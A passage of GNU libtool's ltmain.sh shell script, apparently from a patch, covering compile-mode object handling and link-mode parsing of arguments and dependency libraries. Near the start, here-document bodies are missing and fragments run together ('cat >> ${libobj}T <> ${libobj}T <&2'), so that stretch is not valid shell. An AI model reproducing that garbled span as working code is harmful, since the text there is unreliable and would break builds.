${libobj}T <> ${libobj}T </dev/null`" != "X$srcfile"; then + $echo "\ +*** ERROR, $lockfile contains: +`cat $lockfile 2>/dev/null` + +but it should contain: +$srcfile + +This indicates that another process is trying to use the same +temporary object file, and libtool could not work around it because +your compiler does not support \`-c' and \`-o' together. If you +repeat this compilation, it may succeed, by chance, but you had better +avoid parallel builds (make -j) in this platform, or get a better +compiler." + + $run $rm $removelist + exit $EXIT_FAILURE + fi + + # Just move the object if needed + if test -n "$output_obj" && test "X$output_obj" != "X$obj"; then + $show "$mv $output_obj $obj" + if $run $mv $output_obj $obj; then : + else + error=$? + $run $rm $removelist + exit $error + fi + fi + + # Append the name of the non-PIC object the libtool object file. + # Only append if the libtool object file exists. + test -z "$run" && cat >> ${libobj}T <> ${libobj}T <&2 + fi + if test -n "$link_static_flag"; then + dlopen_self=$dlopen_self_static + fi + prefer_static_libs=yes + else + if test -z "$pic_flag" && test -n "$link_static_flag"; then + dlopen_self=$dlopen_self_static + fi + prefer_static_libs=built + fi + build_libtool_libs=no + build_old_libs=yes + break + ;; + esac + done + + # See if our shared archives depend on static archives. + test -n "$old_archive_from_new_cmds" && build_old_libs=yes + + # Go through the arguments, transforming them on the way. + while test "$#" -gt 0; do + arg="$1" + shift + case $arg in + *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"") + qarg=\"`$echo "X$arg" | $Xsed -e "$sed_quote_subst"`\" ### testsuite: skip nested quoting test + ;; + *) qarg=$arg ;; + esac + libtool_args="$libtool_args $qarg" + + # If the previous option needs an argument, assign it. + if test -n "$prev"; then + case $prev in + output) + compile_command="$compile_command @OUTPUT@" + finalize_command="$finalize_command @OUTPUT@" + ;; + esac + + case $prev in + dlfiles|dlprefiles) + if test "$preload" = no; then + # Add the symbol object into the linking commands. + compile_command="$compile_command @SYMFILE@" + finalize_command="$finalize_command @SYMFILE@" + preload=yes + fi + case $arg in + *.la | *.lo) ;; # We handle these cases below. + force) + if test "$dlself" = no; then + dlself=needless + export_dynamic=yes + fi + prev= + continue + ;; + self) + if test "$prev" = dlprefiles; then + dlself=yes + elif test "$prev" = dlfiles && test "$dlopen_self" != yes; then + dlself=yes + else + dlself=needless + export_dynamic=yes + fi + prev= + continue + ;; + *) + if test "$prev" = dlfiles; then + dlfiles="$dlfiles $arg" + else + dlprefiles="$dlprefiles $arg" + fi + prev= + continue + ;; + esac + ;; + expsyms) + export_symbols="$arg" + if test ! -f "$arg"; then + $echo "$modename: symbol file \`$arg' does not exist" + exit $EXIT_FAILURE + fi + prev= + continue + ;; + expsyms_regex) + export_symbols_regex="$arg" + prev= + continue + ;; + inst_prefix) + inst_prefix_dir="$arg" + prev= + continue + ;; + precious_regex) + precious_files_regex="$arg" + prev= + continue + ;; + release) + release="-$arg" + prev= + continue + ;; + objectlist) + if test -f "$arg"; then + save_arg=$arg + moreargs= + for fil in `cat $save_arg` + do +# moreargs="$moreargs $fil" + arg=$fil + # A libtool-controlled object. + + # Check to see that this really is a libtool object. + if (${SED} -e '2q' $arg | grep "^# Generated by .*$PACKAGE") >/dev/null 2>&1; then + pic_object= + non_pic_object= + + # Read the .lo file + # If there is no directory component, then add one. + case $arg in + */* | *\\*) . $arg ;; + *) . ./$arg ;; + esac + + if test -z "$pic_object" || \ + test -z "$non_pic_object" || + test "$pic_object" = none && \ + test "$non_pic_object" = none; then + $echo "$modename: cannot find name of object for \`$arg'" 1>&2 + exit $EXIT_FAILURE + fi + + # Extract subdirectory from the argument. + xdir=`$echo "X$arg" | $Xsed -e 's%/[^/]*$%%'` + if test "X$xdir" = "X$arg"; then + xdir= + else + xdir="$xdir/" + fi + + if test "$pic_object" != none; then + # Prepend the subdirectory the object is found in. + pic_object="$xdir$pic_object" + + if test "$prev" = dlfiles; then + if test "$build_libtool_libs" = yes && test "$dlopen_support" = yes; then + dlfiles="$dlfiles $pic_object" + prev= + continue + else + # If libtool objects are unsupported, then we need to preload. + prev=dlprefiles + fi + fi + + # CHECK ME: I think I busted this. -Ossama + if test "$prev" = dlprefiles; then + # Preload the old-style object. + dlprefiles="$dlprefiles $pic_object" + prev= + fi + + # A PIC object. + libobjs="$libobjs $pic_object" + arg="$pic_object" + fi + + # Non-PIC object. + if test "$non_pic_object" != none; then + # Prepend the subdirectory the object is found in. + non_pic_object="$xdir$non_pic_object" + + # A standard non-PIC object + non_pic_objects="$non_pic_objects $non_pic_object" + if test -z "$pic_object" || test "$pic_object" = none ; then + arg="$non_pic_object" + fi + else + # If the PIC object exists, use it instead. + # $xdir was prepended to $pic_object above. + non_pic_object="$pic_object" + non_pic_objects="$non_pic_objects $non_pic_object" + fi + else + # Only an error if not doing a dry-run. + if test -z "$run"; then + $echo "$modename: \`$arg' is not a valid libtool object" 1>&2 + exit $EXIT_FAILURE + else + # Dry-run case. + + # Extract subdirectory from the argument. + xdir=`$echo "X$arg" | $Xsed -e 's%/[^/]*$%%'` + if test "X$xdir" = "X$arg"; then + xdir= + else + xdir="$xdir/" + fi + + pic_object=`$echo "X${xdir}${objdir}/${arg}" | $Xsed -e "$lo2o"` + non_pic_object=`$echo "X${xdir}${arg}" | $Xsed -e "$lo2o"` + libobjs="$libobjs $pic_object" + non_pic_objects="$non_pic_objects $non_pic_object" + fi + fi + done + else + $echo "$modename: link input file \`$save_arg' does not exist" + exit $EXIT_FAILURE + fi + arg=$save_arg + prev= + continue + ;; + rpath | xrpath) + # We need an absolute path. + case $arg in + [\\/]* | [A-Za-z]:[\\/]*) ;; + *) + $echo "$modename: only absolute run-paths are allowed" 1>&2 + exit $EXIT_FAILURE + ;; + esac + if test "$prev" = rpath; then + case "$rpath " in + *" $arg "*) ;; + *) rpath="$rpath $arg" ;; + esac + else + case "$xrpath " in + *" $arg "*) ;; + *) xrpath="$xrpath $arg" ;; + esac + fi + prev= + continue + ;; + xcompiler) + compiler_flags="$compiler_flags $qarg" + prev= + compile_command="$compile_command $qarg" + finalize_command="$finalize_command $qarg" + continue + ;; + xlinker) + linker_flags="$linker_flags $qarg" + compiler_flags="$compiler_flags $wl$qarg" + prev= + compile_command="$compile_command $wl$qarg" + finalize_command="$finalize_command $wl$qarg" + continue + ;; + xcclinker) + linker_flags="$linker_flags $qarg" + compiler_flags="$compiler_flags $qarg" + prev= + compile_command="$compile_command $qarg" + finalize_command="$finalize_command $qarg" + continue + ;; + shrext) + shrext_cmds="$arg" + prev= + continue + ;; + darwin_framework|darwin_framework_skip) + test "$prev" = "darwin_framework" && compiler_flags="$compiler_flags $arg" + compile_command="$compile_command $arg" + finalize_command="$finalize_command $arg" + prev= + continue + ;; + *) + eval "$prev=\"\$arg\"" + prev= + continue + ;; + esac + fi # test -n "$prev" + + prevarg="$arg" + + case $arg in + -all-static) + if test -n "$link_static_flag"; then + compile_command="$compile_command $link_static_flag" + finalize_command="$finalize_command $link_static_flag" + fi + continue + ;; + + -allow-undefined) + # FIXME: remove this flag sometime in the future. + $echo "$modename: \`-allow-undefined' is deprecated because it is the default" 1>&2 + continue + ;; + + -avoid-version) + avoid_version=yes + continue + ;; + + -dlopen) + prev=dlfiles + continue + ;; + + -dlpreopen) + prev=dlprefiles + continue + ;; + + -export-dynamic) + export_dynamic=yes + continue + ;; + + -export-symbols | -export-symbols-regex) + if test -n "$export_symbols" || test -n "$export_symbols_regex"; then + $echo "$modename: more than one -exported-symbols argument is not allowed" + exit $EXIT_FAILURE + fi + if test "X$arg" = "X-export-symbols"; then + prev=expsyms + else + prev=expsyms_regex + fi + continue + ;; + + -framework|-arch|-isysroot) + case " $CC " in + *" ${arg} ${1} "* | *" ${arg} ${1} "*) + prev=darwin_framework_skip ;; + *) compiler_flags="$compiler_flags $arg" + prev=darwin_framework ;; + esac + compile_command="$compile_command $arg" + finalize_command="$finalize_command $arg" + continue + ;; + + -inst-prefix-dir) + prev=inst_prefix + continue + ;; + + # The native IRIX linker understands -LANG:*, -LIST:* and -LNO:* + # so, if we see these flags be careful not to treat them like -L + -L[A-Z][A-Z]*:*) + case $with_gcc/$host in + no/*-*-irix* | /*-*-irix*) + compile_command="$compile_command $arg" + finalize_command="$finalize_command $arg" + ;; + esac + continue + ;; + + -L*) + dir=`$echo "X$arg" | $Xsed -e 's/^-L//'` + # We need an absolute path. + case $dir in + [\\/]* | [A-Za-z]:[\\/]*) ;; + *) + absdir=`cd "$dir" && pwd` + if test -z "$absdir"; then + $echo "$modename: cannot determine absolute directory name of \`$dir'" 1>&2 + absdir="$dir" + notinst_path="$notinst_path $dir" + fi + dir="$absdir" + ;; + esac + case "$deplibs " in + *" -L$dir "*) ;; + *) + deplibs="$deplibs -L$dir" + lib_search_path="$lib_search_path $dir" + ;; + esac + case $host in + *-*-cygwin* | *-*-mingw* | *-*-pw32* | *-*-os2*) + testbindir=`$echo "X$dir" | $Xsed -e 's*/lib$*/bin*'` + case :$dllsearchpath: in + *":$dir:"*) ;; + *) dllsearchpath="$dllsearchpath:$dir";; + esac + case :$dllsearchpath: in + *":$testbindir:"*) ;; + *) dllsearchpath="$dllsearchpath:$testbindir";; + esac + ;; + esac + continue + ;; + + -l*) + if test "X$arg" = "X-lc" || test "X$arg" = "X-lm"; then + case $host in + *-*-cygwin* | *-*-mingw* | *-*-pw32* | *-*-beos*) + # These systems don't actually have a C or math library (as such) + continue + ;; + *-*-os2*) + # These systems don't actually have a C library (as such) + test "X$arg" = "X-lc" && continue + ;; + *-*-openbsd* | *-*-freebsd* | *-*-dragonfly*) + # Do not include libc due to us having libc/libc_r. + test "X$arg" = "X-lc" && continue + ;; + *-*-rhapsody* | *-*-darwin1.[012]) + # Rhapsody C and math libraries are in the System framework + deplibs="$deplibs -framework System" + continue + ;; + *-*-sco3.2v5* | *-*-sco5v6*) + # Causes problems with __ctype + test "X$arg" = "X-lc" && continue + ;; + *-*-sysv4.2uw2* | *-*-sysv5* | *-*-unixware* | *-*-OpenUNIX*) + # Compiler inserts libc in the correct place for threads to work + test "X$arg" = "X-lc" && continue + ;; + esac + elif test "X$arg" = "X-lc_r"; then + case $host in + *-*-openbsd* | *-*-freebsd* | *-*-dragonfly*) + # Do not include libc_r directly, use -pthread flag. + continue + ;; + esac + fi + deplibs="$deplibs $arg" + continue + ;; + + # Tru64 UNIX uses -model [arg] to determine the layout of C++ + # classes, name mangling, and exception handling. + -model) + compile_command="$compile_command $arg" + compiler_flags="$compiler_flags $arg" + finalize_command="$finalize_command $arg" + prev=xcompiler + continue + ;; + + -mt|-mthreads|-kthread|-Kthread|-pthread|-pthreads|--thread-safe) + compiler_flags="$compiler_flags $arg" + compile_command="$compile_command $arg" + finalize_command="$finalize_command $arg" + continue + ;; + + -module) + module=yes + continue + ;; + + # -64, -mips[0-9] enable 64-bit mode on the SGI compiler + # -r[0-9][0-9]* specifies the processor on the SGI compiler + # -xarch=*, -xtarget=* enable 64-bit mode on the Sun compiler + # +DA*, +DD* enable 64-bit mode on the HP compiler + # -q* pass through compiler args for the IBM compiler + # -m* pass through architecture-specific compiler args for GCC + # -m*, -t[45]*, -txscale* pass through architecture-specific + # compiler args for GCC + # -pg pass through profiling flag for GCC + # @file GCC response files + -64|-mips[0-9]|-r[0-9][0-9]*|-xarch=*|-xtarget=*|+DA*|+DD*|-q*|-m*|-pg| \ + -t[45]*|-txscale*|@*) + + # Unknown arguments in both finalize_command and compile_command need + # to be aesthetically quoted because they are evaled later. + arg=`$echo "X$arg" | $Xsed -e "$sed_quote_subst"` + case $arg in + *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"") + arg="\"$arg\"" + ;; + esac + compile_command="$compile_command $arg" + finalize_command="$finalize_command $arg" + compiler_flags="$compiler_flags $arg" + continue + ;; + + -shrext) + prev=shrext + continue + ;; + + -no-fast-install) + fast_install=no + continue + ;; + + -no-install) + case $host in + *-*-cygwin* | *-*-mingw* | *-*-pw32* | *-*-os2*) + # The PATH hackery in wrapper scripts is required on Windows + # in order for the loader to find any dlls it needs. + $echo "$modename: warning: \`-no-install' is ignored for $host" 1>&2 + $echo "$modename: warning: assuming \`-no-fast-install' instead" 1>&2 + fast_install=no + ;; + *) no_install=yes ;; + esac + continue + ;; + + -no-undefined) + allow_undefined=no + continue + ;; + + -objectlist) + prev=objectlist + continue + ;; + + -o) prev=output ;; + + -precious-files-regex) + prev=precious_regex + continue + ;; + + -release) + prev=release + continue + ;; + + -rpath) + prev=rpath + continue + ;; + + -R) + prev=xrpath + continue + ;; + + -R*) + dir=`$echo "X$arg" | $Xsed -e 's/^-R//'` + # We need an absolute path. + case $dir in + [\\/]* | [A-Za-z]:[\\/]*) ;; + *) + $echo "$modename: only absolute run-paths are allowed" 1>&2 + exit $EXIT_FAILURE + ;; + esac + case "$xrpath " in + *" $dir "*) ;; + *) xrpath="$xrpath $dir" ;; + esac + continue + ;; + + -static) + # The effects of -static are defined in a previous loop. + # We used to do the same as -all-static on platforms that + # didn't have a PIC flag, but the assumption that the effects + # would be equivalent was wrong. It would break on at least + # Digital Unix and AIX. + continue + ;; + + -thread-safe) + thread_safe=yes + continue + ;; + + -version-info) + prev=vinfo + continue + ;; + -version-number) + prev=vinfo + vinfo_number=yes + continue + ;; + + -Wc,*) + args=`$echo "X$arg" | $Xsed -e "$sed_quote_subst" -e 's/^-Wc,//'` + arg= + save_ifs="$IFS"; IFS=',' + for flag in $args; do + IFS="$save_ifs" + case $flag in + *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"") + flag="\"$flag\"" + ;; + esac + arg="$arg $wl$flag" + compiler_flags="$compiler_flags $flag" + done + IFS="$save_ifs" + arg=`$echo "X$arg" | $Xsed -e "s/^ //"` + ;; + + -Wl,*) + args=`$echo "X$arg" | $Xsed -e "$sed_quote_subst" -e 's/^-Wl,//'` + arg= + save_ifs="$IFS"; IFS=',' + for flag in $args; do + IFS="$save_ifs" + case $flag in + *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"") + flag="\"$flag\"" + ;; + esac + arg="$arg $wl$flag" + compiler_flags="$compiler_flags $wl$flag" + linker_flags="$linker_flags $flag" + done + IFS="$save_ifs" + arg=`$echo "X$arg" | $Xsed -e "s/^ //"` + ;; + + -Xcompiler) + prev=xcompiler + continue + ;; + + -Xlinker) + prev=xlinker + continue + ;; + + -XCClinker) + prev=xcclinker + continue + ;; + + # Some other compiler flag. + -* | +*) + # Unknown arguments in both finalize_command and compile_command need + # to be aesthetically quoted because they are evaled later. + arg=`$echo "X$arg" | $Xsed -e "$sed_quote_subst"` + case $arg in + *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"") + arg="\"$arg\"" + ;; + esac + ;; + + *.$objext) + # A standard object. + objs="$objs $arg" + ;; + + *.lo) + # A libtool-controlled object. + + # Check to see that this really is a libtool object. + if (${SED} -e '2q' $arg | grep "^# Generated by .*$PACKAGE") >/dev/null 2>&1; then + pic_object= + non_pic_object= + + # Read the .lo file + # If there is no directory component, then add one. + case $arg in + */* | *\\*) . $arg ;; + *) . ./$arg ;; + esac + + if test -z "$pic_object" || \ + test -z "$non_pic_object" || + test "$pic_object" = none && \ + test "$non_pic_object" = none; then + $echo "$modename: cannot find name of object for \`$arg'" 1>&2 + exit $EXIT_FAILURE + fi + + # Extract subdirectory from the argument. + xdir=`$echo "X$arg" | $Xsed -e 's%/[^/]*$%%'` + if test "X$xdir" = "X$arg"; then + xdir= + else + xdir="$xdir/" + fi + + if test "$pic_object" != none; then + # Prepend the subdirectory the object is found in. + pic_object="$xdir$pic_object" + + if test "$prev" = dlfiles; then + if test "$build_libtool_libs" = yes && test "$dlopen_support" = yes; then + dlfiles="$dlfiles $pic_object" + prev= + continue + else + # If libtool objects are unsupported, then we need to preload. + prev=dlprefiles + fi + fi + + # CHECK ME: I think I busted this. -Ossama + if test "$prev" = dlprefiles; then + # Preload the old-style object. + dlprefiles="$dlprefiles $pic_object" + prev= + fi + + # A PIC object. + libobjs="$libobjs $pic_object" + arg="$pic_object" + fi + + # Non-PIC object. + if test "$non_pic_object" != none; then + # Prepend the subdirectory the object is found in. + non_pic_object="$xdir$non_pic_object" + + # A standard non-PIC object + non_pic_objects="$non_pic_objects $non_pic_object" + if test -z "$pic_object" || test "$pic_object" = none ; then + arg="$non_pic_object" + fi + else + # If the PIC object exists, use it instead. + # $xdir was prepended to $pic_object above. + non_pic_object="$pic_object" + non_pic_objects="$non_pic_objects $non_pic_object" + fi + else + # Only an error if not doing a dry-run. + if test -z "$run"; then + $echo "$modename: \`$arg' is not a valid libtool object" 1>&2 + exit $EXIT_FAILURE + else + # Dry-run case. + + # Extract subdirectory from the argument. + xdir=`$echo "X$arg" | $Xsed -e 's%/[^/]*$%%'` + if test "X$xdir" = "X$arg"; then + xdir= + else + xdir="$xdir/" + fi + + pic_object=`$echo "X${xdir}${objdir}/${arg}" | $Xsed -e "$lo2o"` + non_pic_object=`$echo "X${xdir}${arg}" | $Xsed -e "$lo2o"` + libobjs="$libobjs $pic_object" + non_pic_objects="$non_pic_objects $non_pic_object" + fi + fi + ;; + + *.$libext) + # An archive. + deplibs="$deplibs $arg" + old_deplibs="$old_deplibs $arg" + continue + ;; + + *.la) + # A libtool-controlled library. + + if test "$prev" = dlfiles; then + # This library was specified with -dlopen. + dlfiles="$dlfiles $arg" + prev= + elif test "$prev" = dlprefiles; then + # The library was specified with -dlpreopen. + dlprefiles="$dlprefiles $arg" + prev= + else + deplibs="$deplibs $arg" + fi + continue + ;; + + # Some other compiler argument. + *) + # Unknown arguments in both finalize_command and compile_command need + # to be aesthetically quoted because they are evaled later. + arg=`$echo "X$arg" | $Xsed -e "$sed_quote_subst"` + case $arg in + *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"") + arg="\"$arg\"" + ;; + esac + ;; + esac # arg + + # Now actually substitute the argument into the commands. + if test -n "$arg"; then + compile_command="$compile_command $arg" + finalize_command="$finalize_command $arg" + fi + done # argument parsing loop + + if test -n "$prev"; then + $echo "$modename: the \`$prevarg' option requires an argument" 1>&2 + $echo "$help" 1>&2 + exit $EXIT_FAILURE + fi + + if test "$export_dynamic" = yes && test -n "$export_dynamic_flag_spec"; then + eval arg=\"$export_dynamic_flag_spec\" + compile_command="$compile_command $arg" + finalize_command="$finalize_command $arg" + fi + + oldlibs= + # calculate the name of the file, without its directory + outputname=`$echo "X$output" | $Xsed -e 's%^.*/%%'` + libobjs_save="$libobjs" + + if test -n "$shlibpath_var"; then + # get the directories listed in $shlibpath_var + eval shlib_search_path=\`\$echo \"X\${$shlibpath_var}\" \| \$Xsed -e \'s/:/ /g\'\` + else + shlib_search_path= + fi + eval sys_lib_search_path=\"$sys_lib_search_path_spec\" + eval sys_lib_dlsearch_path=\"$sys_lib_dlsearch_path_spec\" + + output_objdir=`$echo "X$output" | $Xsed -e 's%/[^/]*$%%'` + if test "X$output_objdir" = "X$output"; then + output_objdir="$objdir" + else + output_objdir="$output_objdir/$objdir" + fi + # Create the object directory. + if test ! -d "$output_objdir"; then + $show "$mkdir $output_objdir" + $run $mkdir $output_objdir + exit_status=$? + if test "$exit_status" -ne 0 && test ! -d "$output_objdir"; then + exit $exit_status + fi + fi + + # Determine the type of output + case $output in + "") + $echo "$modename: you must specify an output file" 1>&2 + $echo "$help" 1>&2 + exit $EXIT_FAILURE + ;; + *.$libext) linkmode=oldlib ;; + *.lo | *.$objext) linkmode=obj ;; + *.la) linkmode=lib ;; + *) linkmode=prog ;; # Anything else should be a program. + esac + + case $host in + *cygwin* | *mingw* | *pw32*) + # don't eliminate duplications in $postdeps and $predeps + duplicate_compiler_generated_deps=yes + ;; + *) + duplicate_compiler_generated_deps=$duplicate_deps + ;; + esac + specialdeplibs= + + libs= + # Find all interdependent deplibs by searching for libraries + # that are linked more than once (e.g. -la -lb -la) + for deplib in $deplibs; do + if test "X$duplicate_deps" = "Xyes" ; then + case "$libs " in + *" $deplib "*) specialdeplibs="$specialdeplibs $deplib" ;; + esac + fi + libs="$libs $deplib" + done + + if test "$linkmode" = lib; then + libs="$predeps $libs $compiler_lib_search_path $postdeps" + + # Compute libraries that are listed more than once in $predeps + # $postdeps and mark them as special (i.e., whose duplicates are + # not to be eliminated). + pre_post_deps= + if test "X$duplicate_compiler_generated_deps" = "Xyes" ; then + for pre_post_dep in $predeps $postdeps; do + case "$pre_post_deps " in + *" $pre_post_dep "*) specialdeplibs="$specialdeplibs $pre_post_deps" ;; + esac + pre_post_deps="$pre_post_deps $pre_post_dep" + done + fi + pre_post_deps= + fi + + deplibs= + newdependency_libs= + newlib_search_path= + need_relink=no # whether we're linking any uninstalled libtool libraries + notinst_deplibs= # not-installed libtool libraries + case $linkmode in + lib) + passes="conv link" + for file in $dlfiles $dlprefiles; do + case $file in + *.la) ;; + *) + $echo "$modename: libraries can \`-dlopen' only libtool libraries: $file" 1>&2 + exit $EXIT_FAILURE + ;; + esac + done + ;; + prog) + compile_deplibs= + finalize_deplibs= + alldeplibs=no + newdlfiles= + newdlprefiles= + passes="conv scan dlopen dlpreopen link" + ;; + *) passes="conv" + ;; + esac + for pass in $passes; do + if test "$linkmode,$pass" = "lib,link" || + test "$linkmode,$pass" = "prog,scan"; then + libs="$deplibs" + deplibs= + fi + if test "$linkmode" = prog; then + case $pass in + dlopen) libs="$dlfiles" ;; + dlpreopen) libs="$dlprefiles" ;; + link) libs="$deplibs %DEPLIBS% $dependency_libs" ;; + esac + fi + if test "$pass" = dlopen; then + # Collect dlpreopened libraries + save_deplibs="$deplibs" + deplibs= + fi + for deplib in $libs; do + lib= + found=no + case $deplib in + -mt|-mthreads|-kthread|-Kthread|-pthread|-pthreads|--thread-safe) + if test "$linkmode,$pass" = "prog,link"; then + compile_deplibs="$deplib $compile_deplibs" + finalize_deplibs="$deplib $finalize_deplibs" + else + compiler_flags="$compiler_flags $deplib" + fi + continue + ;; + -l*) + if test "$linkmode" != lib && test "$linkmode" != prog; then + $echo "$modename: warning: \`-l' is ignored for archives/objects" 1>&2 + continue + fi + name=`$echo "X$deplib" | $Xsed -e 's/^-l//'` + for searchdir in $newlib_search_path $lib_search_path $sys_lib_search_path $shlib_search_path; do + for search_ext in .la $std_shrext .so .a; do + # Search the libtool library + lib="$searchdir/lib${name}${search_ext}" + if test -f "$lib"; then + if test "$search_ext" = ".la"; then + found=yes + else + found=no + fi + break 2 + fi + done + done + if test "$found" != yes; then + # deplib doesn't seem to be a libtool library + if test "$linkmode,$pass" = "prog,link"; then + compile_deplibs="$deplib $compile_deplibs" + finalize_deplibs="$deplib $finalize_deplibs" + else + deplibs="$deplib $deplibs" + test "$linkmode" = lib && newdependency_libs="$deplib $newdependency_libs" + fi + continue + else # deplib is a libtool library + # If $allow_libtool_libs_with_static_runtimes && $deplib is a stdlib, + # We need to do some special things here, and not later. + if test "X$allow_libtool_libs_with_static_runtimes" = "Xyes" ; then + case " $predeps $postdeps " in + *" $deplib "*) + if (${SED} -e '2q' $lib | + grep "^# Generated by .*$PACKAGE") >/dev/null 2>&1; then + library_names= + old_library= + case $lib in + */* | *\\*) . $lib ;; + *) . ./$lib ;; + esac + for l in $old_library $library_names; do + ll="$l" + done + if test "X$ll" = "X$old_library" ; then # only static version available + found=no + ladir=`$echo "X$lib" | $Xsed -e 's%/[^/]*$%%'` + test "X$ladir" = "X$lib" && ladir="." + lib=$ladir/$old_library + if test "$linkmode,$pass" = "prog,link"; then + compile_deplibs="$deplib $compile_deplibs" + finalize_deplibs="$deplib $finalize_deplibs" + else + deplibs="$deplib $deplibs" + test "$linkmode" = lib && newdependency_libs="$deplib $newdependency_libs" + fi + continue + fi + fi + ;; + *) ;; + esac + fi + fi + ;; # -l + -L*) + case $linkmode in + lib) + deplibs="$deplib $deplibs" + test "$pass" = conv && continue + newdependency_libs="$deplib $newdependency_libs" + newlib_search_path="$newlib_search_path "`$echo "X$deplib" | $Xsed -e 's/^-L//'` + ;; + prog) + if test "$pass" = conv; then + deplibs="$deplib $deplibs" + continue + fi + if test "$pass" = scan; then + deplibs="$deplib $deplibs" + else + compile_deplibs="$deplib $compile_deplibs" + finalize_deplibs="$deplib $finalize_deplibs" + fi + newlib_search_path="$newlib_search_path "`$echo "X$deplib" | $Xsed -e 's/^-L//'` + ;; + *) + $echo "$modename: warning: \`-L' is ignored for archives/objects" 1>&2 + ;; + esac # linkmode + continue + ;; # -L + -R*) + if test "$pass" = link; then + dir=`$echo "X$deplib" | $Xsed -e 's/^-R//'` + # Make sure the xrpath contains only unique directories. + case "$xrpath " in + *" $dir "*) ;; + *) xrpath="$xrpath $dir" ;; + esac + fi + deplibs="$deplib $deplibs" + continue + ;; + *.la) lib="$deplib" ;; + *.$libext) + if test "$pass" = conv; then + deplibs="$deplib $deplibs" + continue + fi + case $linkmode in + lib) + valid_a_lib=no + case $deplibs_check_method in + match_pattern*) + set dummy $deplibs_check_method + match_pattern_regex=`expr "$deplibs_check_method" : "$2 \(.*\)"` + if eval $echo \"$deplib\" 2>/dev/null \ + | $SED 10q \ + | $EGREP "$match_pattern_regex" > /dev/null; then + valid_a_lib=yes + fi + ;; + pass_all) + valid_a_lib=yes + ;; + esac + if test "$valid_a_lib" != yes; then + $echo + $echo "*** Warning: Trying to link with static lib archive $deplib." + $echo "*** I have the capability to make that library automatically link in when" + $echo "*** you link to this library. But I can only do this if you have a" + $echo "*** shared version of the library, which you do not appear to have" + $echo "*** because the file extensions .$libext of this argument makes me believe" + $echo "*** that it is just a static archive that I should not used here." + else + $echo + $echo "*** Warning: Linking the shared library $output against the" + $echo "*** static library $deplib is not portable!" + deplibs="$deplib $deplibs" + fi + continue + ;; + prog) + if test "$pass" != link; then + deplibs="$deplib $deplibs" + else + compile_deplibs="$deplib $compile_deplibs" + finalize_deplibs="$deplib $finalize_deplibs" + fi + continue + ;; + esac # linkmode + ;; # *.$libext + *.lo | *.$objext) + if test "$pass" = conv; then + deplibs="$deplib $deplibs" + elif test "$linkmode" = prog; then + if test "$pass" = dlpreopen || test "$dlopen_support" != yes || test "$build_libtool_libs" = no; then + # If there is no dlopen support or we're linking statically, + # we need to preload. + newdlprefiles="$newdlprefiles $deplib" + compile_deplibs="$deplib $compile_deplibs" + finalize_deplibs="$deplib $finalize_deplibs" + else + newdlfiles="$newdlfiles $deplib" + fi + fi + continue + ;; + %DEPLIBS%) + alldeplibs=yes + continue + ;; + esac # case $deplib + if test "$found" = yes || test -f "$lib"; then : + else + $echo "$modename: cannot find the library \`$lib' or unhandled argument \`$deplib'" 1>&2 + exit $EXIT_FAILURE + fi + + # Check to see that this really is a libtool archive. + if (${SED} -e '2q' $lib | grep "^# Generated by .*$PACKAGE") >/dev/null 2>&1; then : + else + $echo "$modename: \`$lib' is not a valid libtool archive" 1>&2 + exit $EXIT_FAILURE + fi + + ladir=`$echo "X$lib" | $Xsed -e 's%/[^/]*$%%'` + test "X$ladir" = "X$lib" && ladir="." + + dlname= + dlopen= + dlpreopen= + libdir= + library_names= + old_library= + # If the library was installed with an old release of libtool, + # it will not redefine variables installed, or shouldnotlink + installed=yes + shouldnotlink=no + avoidtemprpath= + + + # Read the .la file + case $lib in + */* | *\\*) . $lib ;; + *) . ./$lib ;; + esac + + if test "$linkmode,$pass" = "lib,link" || + test "$linkmode,$pass" = "prog,scan" || + { test "$linkmode" != prog && test "$linkmode" != lib; }; then + test -n "$dlopen" && dlfiles="$dlfiles $dlopen" + test -n "$dlpreopen" && dlprefiles="$dlprefiles $dlpreopen" + fi + + if test "$pass" = conv; then + # Only check for convenience libraries + deplibs="$lib $deplibs" + if test -z "$libdir"; then + if test -z "$old_library"; then + $echo "$modename: cannot find name of link library for \`$lib'" 1>&2 + exit $EXIT_FAILURE + fi + # It is a libtool convenience library, so add in its objects. + convenience="$convenience $ladir/$objdir/$old_library" + old_convenience="$old_convenience $ladir/$objdir/$old_library" + tmp_libs= + for deplib in $dependency_libs; do + deplibs="$deplib $deplibs" + if test "X$duplicate_deps" = "Xyes" ; then + case "$tmp_libs " in + *" $deplib "*) specialdeplibs="$specialdeplibs $deplib" ;; + esac + fi + tmp_libs="$tmp_libs $deplib" + done + elif test "$linkmode" != prog && test "$linkmode" != lib; then + $echo "$modename: \`$lib' is not a convenience library" 1>&2 + exit $EXIT_FAILURE + fi + continue + fi # $pass = conv + + + # Get the name of the library we link against. + linklib= + for l in $old_library $library_names; do + linklib="$l" + done + if test -z "$linklib"; then + $echo "$modename: cannot find name of link library for \`$lib'" 1>&2 + exit $EXIT_FAILURE + fi + + # This library was specified with -dlopen. + if test "$pass" = dlopen; then + if test -z "$libdir"; then + $echo "$modename: cannot -dlopen a convenience library: \`$lib'" 1>&2 + exit $EXIT_FAILURE + fi + if test -z "$dlname" || + test "$dlopen_support" != yes || + test "$build_libtool_libs" = no; then + # If there is no dlname, no dlopen support or we're linking + # statically, we need to preload. We also need to preload any + # dependent libraries so libltdl's deplib preloader doesn't + # bomb out in the load deplibs phase. + dlprefiles="$dlprefiles $lib $dependency_libs" + else + newdlfiles="$newdlfiles $lib" + fi + continue + fi # $pass = dlopen + + # We need an absolute path. + case $ladir in + [\\/]* | [A-Za-z]:[\\/]*) abs_ladir="$ladir" ;; + *) + abs_ladir=`cd "$ladir" && pwd` + if test -z "$abs_ladir"; then + $echo "$modename: warning: cannot determine absolute directory name of \`$ladir'" 1>&2 + $echo "$modename: passing it literally to the linker, although it might fail" 1>&2 + abs_ladir="$ladir" + fi + ;; + esac + laname=`$echo "X$lib" | $Xsed -e 's%^.*/%%'` + + # Find the relevant object directory and library name. + if test "X$installed" = Xyes; then + if test ! -f "$libdir/$linklib" && test -f "$abs_ladir/$linklib"; then + $echo "$modename: warning: library \`$lib' was moved." 1>&2 + dir="$ladir" + 